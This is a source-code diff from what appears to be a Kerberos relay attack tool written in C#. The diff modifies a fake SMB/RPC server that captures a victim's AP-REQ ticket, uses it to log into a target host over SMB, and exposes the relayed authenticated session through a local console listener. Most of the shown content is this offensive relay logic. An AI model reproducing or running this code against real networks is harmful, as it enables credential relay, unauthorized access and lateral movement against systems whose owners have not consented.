1212
1313public class State
1414{
15- public Socket SourceSocket { get ; }
16- public Socket TargetSocket { get ; }
15+ public Socket SourceSocket { get ; set ; }
16+ public Socket TargetSocket { get ; set ; }
1717 public byte [ ] Buffer { get ; }
1818 public int numReads = 0 ;
19-
19+ public IAsyncResult ar ;
2020 public bool isRelayed = false ;
2121 public string ServerType = "" ;
2222 public State ( Socket sourceSocket , Socket targetSocket )
@@ -25,13 +25,17 @@ public State(Socket sourceSocket, Socket targetSocket)
2525 TargetSocket = targetSocket ;
2626 Buffer = new byte [ 4096 ] ; // Adjust buffer size as needed
2727 }
28+ public State ( )
29+ {
30+
31+ }
2832
2933}
3034class SMBCommandSocketConsole
3135{
3236
3337 public byte [ ] apreqBuffer ;
34- public FakeSMBServer currSocketServer ;
38+ public FakeRPCServer currSocketServer ;
3539 public async Task Start ( int port , State state , byte [ ] buffer )
3640 {
3741 // Define the IP address and port
@@ -41,37 +45,70 @@ public async Task Start(int port, State state, byte[] buffer)
4145 // Create a TcpListener
4246 TcpListener listener = new TcpListener ( IPAddress . Any , port ) ;
4347
48+
4449 try
4550 {
4651 // Start the listener
47- listener . Start ( ) ;
48- Console . WriteLine ( "[*] SMB Console Server started on any:{0}. Waiting for connections..." , port ) ;
52+
53+
54+
55+ SMBLibrary . Client . SMB2Client smbc = new SMB2Client ( ) ;
56+ //bool success = false;
57+ bool success = false ;
58+ bool isConnected = smbc . Connect ( Program . RedirectHost , SMBTransportType . DirectTCPTransport ) ;
59+
60+ if ( ! isConnected )
61+ {
62+ Console . WriteLine ( "[-] Could not connect to [{0}:445]" , Program . targetFQDN ) ;
4963
64+ }
65+
66+ smbc . currSourceSocket = state . SourceSocket ;
67+ smbc . currDestSocket = state . TargetSocket ;
68+ //smbc.ServerType = State.ServerType;
69+ smbc . currSocketServer = currSocketServer ;
70+ smbc . CallID = currSocketServer . CallID ;
71+ smbc . AssocGroup = currSocketServer . AssocGroup ;
72+ smbc . Login ( Program . apreqBuffer , out success ) ;
73+
74+ Console . WriteLine ( "[*] SMB Login status: {0}" , success ) ;
75+ if ( ! success )
76+ {
77+
78+ Console . WriteLine ( "[-] SMB Login Error" ) ;
79+ state . isRelayed = true ;
80+ return ;
81+ }
82+
83+ listener . Start ( ) ;
84+ state . isRelayed = false ;
85+ Console . WriteLine ( "[*] ===> SMB Console Server started on [any:{0}]. Waiting for connections...<===" , port ) ;
5086 //while (true)
5187 {
5288 // Accept a client socket
5389 //Socket clientSocket = listener.AcceptTcpClientAsync(); // AcceptSocket(); //AcceptTcpClientAsync()
5490 TcpClient clientSocket = await listener . AcceptTcpClientAsync ( ) ;
55-
56-
57- Console . WriteLine ( "[*] SMB Console Server connected client:{0}" , clientSocket . Client . RemoteEndPoint ) ;
58- SMBLibrary . Client . SMB2Client smbc = new SMB2Client ( ) ;
91+
92+
93+ Console . WriteLine ( "[*] SMB Console Server connected client: [ {0}] " , clientSocket . Client . RemoteEndPoint ) ;
94+ // SMBLibrary.Client.SMB2Client smbc = new SMB2Client();
5995 //smbc.curSocketServer = currSocketServer;
6096 KrbRelay . Clients . Smb smb2 = new Smb ( clientSocket . Client ) ;
61- //smbc.currSourceSocket = state.SourceSocket;
62- //smbc.currDestSocket = state.TargetSocket;
97+ smbc . currSourceSocket = state . SourceSocket ;
98+ smb2 . alreadyLoggedIn = true ;
99+ smbc . currDestSocket = state . TargetSocket ;
63100 //smbc.ServerType = State.ServerType;
64- smbc . curSocketServer = currSocketServer ;
65- bool isConnected = smbc . Connect ( Program . RedirectHost , SMBTransportType . DirectTCPTransport ) ;
101+ smbc . currSocketServer = currSocketServer ;
102+ /* bool isConnected = smbc.Connect(Program.RedirectHost, SMBTransportType.DirectTCPTransport);
66103 if (!isConnected)
67104 {
68- Console . WriteLine ( "[-] Could not connect to {0}:445" , Program . targetFQDN ) ;
105+ Console.WriteLine("[-] Could not connect to [ {0}:445] ", Program.targetFQDN);
69106
70107 }
108+ */
71109
72110
73-
74- Console . WriteLine ( "[*] SMB relay Connected to: {0}:445" , Program . targetFQDN ) ;
111+ Console . WriteLine ( "[*] SMB Console Server client [{0}] relay Connected to: [{1}:445]" , clientSocket . Client . RemoteEndPoint , Program . targetFQDN ) ;
75112 //state.isRelayed = true;
76113 //Task.Run(() => smb2.smbConnect(smbc));
77114 Task . Run ( ( ) => smb2 . smbConnect ( smbc , buffer ) ) ;
@@ -83,14 +120,17 @@ public async Task Start(int port, State state, byte[] buffer)
83120 }
84121 catch ( Exception ex )
85122 {
86- Console . WriteLine ( $ "Error: { ex . Message } ") ;
123+ //Console.WriteLine($"SMBSocket Error: {ex.Message}");
124+ //Console.WriteLine("Stack Trace: " + ex.StackTrace);
87125 }
88126 finally
89127 {
90128 listener . Stop ( ) ;
129+ Program . bgconsoleStartPort -- ;
91130 }
92131 }
93132}
133+
94134public class FakeSMBServer
95135{
96136 private Socket _listenerSocket ;
@@ -221,7 +261,7 @@ private void OnClientConnect(IAsyncResult ar)
221261 // Create a unique key for this connection
222262 string clientKey = $ "{ clientSocket . RemoteEndPoint } -{ Guid . NewGuid ( ) } ";
223263
224- Console . WriteLine ( $ "[*] FakeSMBServer:{ _listenPort } -> Client connected [{ clientSocket . RemoteEndPoint } ] in { ( Program . forwdardmode ? "FORWARD" : "RELAY" ) } mode.", _listenPort ) ;
264+ // Console.WriteLine($"[*] FakeSMBServer:{_listenPort} -> Client connected [{clientSocket.RemoteEndPoint}] in {(Program.forwdardmode ? "FORWARD" : "RELAY")} mode.", _listenPort);
225265
226266 // Create a new connection to the target server
227267 Socket targetSocket = new Socket ( AddressFamily . InterNetwork , SocketType . Stream , ProtocolType . Tcp ) ;
@@ -275,18 +315,7 @@ private void OnDataFromClient(IAsyncResult ar)
275315 state . SourceSocket . Send ( smb2NegotiateProtocolResponse , smb2NegotiateProtocolResponse . Length , SocketFlags . None ) ;
276316 l = state . SourceSocket . Receive ( buffer ) ;
277317 //int ticketOffset = Helpers.PatternAt(buffer, new byte[] { 0x60, 0x82 }); // 0x6e, 0x82, 0x06
278- buffer = buffer . Skip ( 4 ) . ToArray ( ) ;
279- Program . apreqBuffer = Program . ExtractSecurityBlob ( buffer ) ;
280- if ( ! ( Program . apreqBuffer [ 0 ] == 0x60 && Program . apreqBuffer [ 1 ] == 0x82 ) )
281- {
282- Console . WriteLine ( "[-] FakeSMBServer {0}: Could not find AP-REQ, maybe using NTLM?" , state . SourceSocket . RemoteEndPoint ) ;
283- state . isRelayed = false ;
284-
285- //CloseConnection(state);
286- return ;
287-
288- }
289- Console . WriteLine ( "[*] FakeSMBServer {0}: Got AP-REQ for : {1}/{2}" , state . SourceSocket . RemoteEndPoint , Program . service , Program . targetFQDN ) ;
318+ Console . WriteLine ( "[*] FakeRPCServer {0}: Got AP-REQ for : {1}/{2}" , state . SourceSocket . RemoteEndPoint , Program . service , Program . targetFQDN ) ;
290319
291320
292321
@@ -318,7 +347,7 @@ private void OnDataFromClient(IAsyncResult ar)
318347 smbc . currSourceSocket = state . SourceSocket ;
319348 smbc . currDestSocket = state . TargetSocket ;
320349 smbc . ServerType = ServerType ;
321- smbc . curSocketServer = this ;
350+ // smbc.currSocketServer = this;
322351 bool isConnected = smbc . Connect ( Program . RedirectHost , SMBTransportType . DirectTCPTransport ) ;
323352 if ( ! isConnected )
324353 {
0 commit comments